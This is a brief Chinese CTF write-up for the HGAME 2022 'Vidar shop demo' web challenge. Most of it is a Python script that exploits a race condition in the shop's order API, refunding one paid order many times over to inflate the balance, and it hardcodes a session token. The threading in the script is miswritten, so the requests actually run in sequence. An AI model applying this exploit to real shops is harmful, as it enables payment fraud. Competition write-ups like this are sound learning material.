HGAME 2022 Week3 writeup by pankas

2022-08-10 20:49:58 浏览数 (1)

week3过年摆了,基本根本没做,惭愧·········

web

Vidar shop demo

条件竞争,开多线程刷钱,够了就可以买flag了

代码语言:javascript复制
import requests
import threading
import json
payUrl = 'http://4766634820.vidar-shop.mjclouds.com/api/pay/create'
createOrderUrl = 'http://4766634820.vidar-shop.mjclouds.com/api/order/create'
sellUrl = 'http://4766634820.vidar-shop.mjclouds.com/api/order/remove'
headers = {
        'Host': '4766634820.vidar-shop.mjclouds.com',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
        'Accept': 'application/json, text/plain, */*',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'application/json',
        'Authorization': 'bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDQyMDYzODUsImlhdCI6MTY0NDExOTk4NSwidWlkIjozNTF9.c4d_p8TutNYanYK7KPIJwuLFR9tkAIvdLZFhqPT_0jE',
        'Origin': 'http://4766634820.vidar-shop.mjclouds.com',
        'Connection': 'keep-alive',
        'Referer': 'http://4766634820.vidar-shop.mjclouds.com/'
    }
createData = {
        "amount": 1,
        "pid": 5,
        "status": 1,
        "uid": 351
    }
def pay():
    response = requests.post(createOrderUrl, data=json.dumps(createData), headers=headers)
    oid = json.loads(response.text)['id']
    payData = {
        'amount': 20,
        'oid': oid,
        'uid': 351
    }
    requests.post(payUrl, data=json.dumps(payData), headers=headers)
    return oid
def sell(oid):
    # print(oid)
    sellData = {
        'id': oid
    }
    r = requests.post(sellUrl, data=json.dumps(sellData), headers=headers)
    print(r.text)
def solve():
    oid = pay()
    for j in range(50):
        threading.Thread(target=sell(oid)).start()
if __name__ == '__main__':
    for i in range(20):
        threading.Thread(target=solve()).start()

0 人点赞